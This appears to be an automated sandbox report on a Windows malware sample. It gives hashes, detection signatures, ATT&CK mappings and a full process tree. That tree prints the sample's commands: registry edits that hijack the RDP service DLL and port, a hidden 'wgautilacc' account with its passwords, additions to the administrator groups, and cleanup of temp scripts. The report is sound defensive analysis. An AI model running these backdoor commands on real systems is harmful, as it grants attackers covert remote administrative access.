Analysis

  • max time kernel
    40s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-11-2020 10:49

General

  • Target

    7e430306f8f710bc9d1a6b094ecb7fb5a507b6dc9223e39dac1de02337d12964.exe

  • Size

    3.1MB

  • MD5

    5759db9acfaeaee9c5186d5b8ff6b289

  • SHA1

    fc8f63658cb6e2b27ab97ebc15b6ec791eda4834

  • SHA256

    7e430306f8f710bc9d1a6b094ecb7fb5a507b6dc9223e39dac1de02337d12964

  • SHA512

    599e7b2665bc25250f8ddebd2f73d07fe7b63f313bcdbd2893df912cf458fa6b2084754170c22601696c5ea9c49827bd2dc8f0a8e3b1533333b3cadbd5cd954e

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e430306f8f710bc9d1a6b094ecb7fb5a507b6dc9223e39dac1de02337d12964.exe
    "C:\Users\Admin\AppData\Local\Temp\7e430306f8f710bc9d1a6b094ecb7fb5a507b6dc9223e39dac1de02337d12964.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4708
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ltyx31g2\ltyx31g2.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2144
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4646.tmp" "c:\Users\Admin\AppData\Local\Temp\ltyx31g2\CSC5E88B84944540569BB0B9C6596842A.TMP"
          4⤵
            PID:1864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4408
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:512
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2480
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2512
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2520
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4684
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2596
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4260
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:212
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:192
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4396
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1020
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2908
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2936
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3868
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4780
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4736
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1440
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4644
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2112
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc cikTTsPK /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4580
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc cikTTsPK /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5048
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc cikTTsPK /add
                          3⤵
                            PID:3980
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3032
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3732
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:4712
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3944
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4176
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
                              3⤵
                                PID:748
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3084
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2176
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:4144
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc cikTTsPK
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4384
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc cikTTsPK
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4360
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc cikTTsPK
                                  3⤵
                                    PID:3536
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C net user wgautilacc 1234
                                1⤵
                                  PID:4560
                                  • C:\Windows\system32\net.exe
                                    net user wgautilacc 1234
                                    2⤵
                                      PID:4432
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 1234
                                        3⤵
                                          PID:4484

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v6

                                    Persistence

                                    Account Manipulation

                                    1
                                    T1098

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1060

                                    Modify Existing Service

                                    1
                                    T1031

                                    Defense Evasion

                                    Modify Registry

                                    3
                                    T1112

                                    Lateral Movement

                                    Remote Desktop Protocol

                                    1
                                    T1076

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Temp\RES4646.tmp
                                      MD5

                                      bc14425d3f5f7d6e08730161fcd676ca

                                      SHA1

                                      2946edac6186f858151d0cda4a22ab9122200507

                                      SHA256

                                      8b88264ea265c9e2810d1bceec07ddcf2ecd1df2c616f0f8f2af99090fad4d96

                                      SHA512

                                      b83f8149336816ba0dd94e891eee6a8e68d7d464f44b7c34e84b8d948fb96d4e7be24a3d63c62e9f1cdc8455f6faf79a62fd4061dd4fde8e2211e4d71632e275

                                    • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                      MD5

                                      41d1a9d1cbee90f1e5f27fdfb299f8b8

                                      SHA1

                                      1e9ac27006a7c364649265246fccbd719418ceab

                                      SHA256

                                      0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                      SHA512

                                      f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                    • C:\Users\Admin\AppData\Local\Temp\ltyx31g2\ltyx31g2.dll
                                      MD5

                                      cdb5df88f79839c5cdd83600744de993

                                      SHA1

                                      ac0e5c6b627e34a12275da2eb903d01287baa21e

                                      SHA256

                                      3b9e4df22b6d15b2f18665938a31a21754407c79c378edfd30c8fcf6d344c362

                                      SHA512

                                      18d5f58baad21ee24360d98df96d4365ebd984824d6c75fd2ea9a9843c1624412a090c40a0817cf34288225fd617dd49315be74604345730c9b4046db984ad2a

                                    • \??\c:\Users\Admin\AppData\Local\Temp\ltyx31g2\CSC5E88B84944540569BB0B9C6596842A.TMP
                                      MD5

                                      e2c1a1072bdd168ed4d48e18bcc3ddf9

                                      SHA1

                                      ff941360cedd95886de1c6d0bb7b9eee5ccda1d4

                                      SHA256

                                      81c8b199cf38124e90a9ff0c62f7935a6f22d7875ddaa99324031eb4e2c7e1d2

                                      SHA512

                                      a1802dd00b4e15e80f22e52765a49db120b66f4e54bed6a16911f84a4394f0a0f5048345c686fa2c6993406897bfaa95d7693024773804d64021f3f5e435b8fa

                                    • \??\c:\Users\Admin\AppData\Local\Temp\ltyx31g2\ltyx31g2.0.cs
                                      MD5

                                      8e55cb0ca998472ab6d3e295e0c4dd50

                                      SHA1

                                      407d07a29b89fc3afc246c0680d5857e3f51019d

                                      SHA256

                                      63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                      SHA512

                                      c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                    • \??\c:\Users\Admin\AppData\Local\Temp\ltyx31g2\ltyx31g2.cmdline
                                      MD5

                                      d0ebd2a8f18a007125a8f6740d08946a

                                      SHA1

                                      422da76f96eae360f12e03a074ebb11a654f0a81

                                      SHA256

                                      79951d39c7a29390fd46496c60cdb50a6d8df90fd6dcba041c26f6a11aa322b9

                                      SHA512

                                      1f039a5c7c26380ba28e630e9c2d06288f42597bc664099ce986ae868a6f67c828b91b0c020d42412f2ed19284a93f09d556e75c71342d1ebd8a1fd2d42f16d2

                                    • \Windows\Branding\mediasrv.png
                                      MD5

                                      37fb7ba711ffbe9d6ebb27d54e827966

                                      SHA1

                                      4d4d9303e011bcb14720b24239a1aacd58122f47

                                      SHA256

                                      81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                      SHA512

                                      3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                    • \Windows\Branding\mediasvc.png
                                      MD5

                                      2f916498a393e2f0d008d33a74c062ba

                                      SHA1

                                      404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                      SHA256

                                      d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                      SHA512

                                      d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                    • memory/192-37-0x0000000000000000-mapping.dmp
                                    • memory/212-36-0x0000000000000000-mapping.dmp
                                    • memory/512-25-0x0000000000000000-mapping.dmp
                                    • memory/512-27-0x00007FF862D70000-0x00007FF86375C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/748-52-0x0000000000000000-mapping.dmp
                                    • memory/1020-39-0x0000000000000000-mapping.dmp
                                    • memory/1864-11-0x0000000000000000-mapping.dmp
                                    • memory/2112-46-0x0000000000000000-mapping.dmp
                                    • memory/2144-8-0x0000000000000000-mapping.dmp
                                    • memory/2176-53-0x0000000000000000-mapping.dmp
                                    • memory/2480-30-0x0000000000000000-mapping.dmp
                                    • memory/2512-31-0x0000000000000000-mapping.dmp
                                    • memory/2520-32-0x0000000000000000-mapping.dmp
                                    • memory/2596-34-0x0000000000000000-mapping.dmp
                                    • memory/2908-40-0x0000000000000000-mapping.dmp
                                    • memory/2936-41-0x0000000000000000-mapping.dmp
                                    • memory/3140-19-0x00007FF862D70000-0x00007FF86375C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/3140-18-0x0000000000000000-mapping.dmp
                                    • memory/3536-56-0x0000000000000000-mapping.dmp
                                    • memory/3732-49-0x0000000000000000-mapping.dmp
                                    • memory/3868-42-0x0000000000000000-mapping.dmp
                                    • memory/3980-48-0x0000000000000000-mapping.dmp
                                    • memory/4144-54-0x0000000000000000-mapping.dmp
                                    • memory/4176-51-0x0000000000000000-mapping.dmp
                                    • memory/4228-2-0x0000000000000000-mapping.dmp
                                    • memory/4228-4-0x0000023924B40000-0x0000023924B41000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4228-3-0x00007FF862D70000-0x00007FF86375C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/4228-16-0x00000239475F0000-0x00000239475F1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4228-6-0x000002393F3F0000-0x000002393F3F1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4228-5-0x000002393CC00000-0x000002393CC01000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4228-15-0x0000023924BA0000-0x0000023924BA1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4228-17-0x0000023947980000-0x0000023947981000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4260-35-0x0000000000000000-mapping.dmp
                                    • memory/4360-55-0x0000000000000000-mapping.dmp
                                    • memory/4396-38-0x0000000000000000-mapping.dmp
                                    • memory/4408-21-0x0000000000000000-mapping.dmp
                                    • memory/4408-23-0x00007FF862D70000-0x00007FF86375C000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/4432-59-0x0000000000000000-mapping.dmp
                                    • memory/4484-60-0x0000000000000000-mapping.dmp
                                    • memory/4644-45-0x0000000000000000-mapping.dmp
                                    • memory/4684-33-0x0000000000000000-mapping.dmp
                                    • memory/4708-1-0x0000000000D30000-0x0000000000D31000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4712-50-0x0000000000000000-mapping.dmp
                                    • memory/4736-58-0x0000000000000000-mapping.dmp
                                    • memory/4780-57-0x0000000000000000-mapping.dmp
                                    • memory/5048-47-0x0000000000000000-mapping.dmp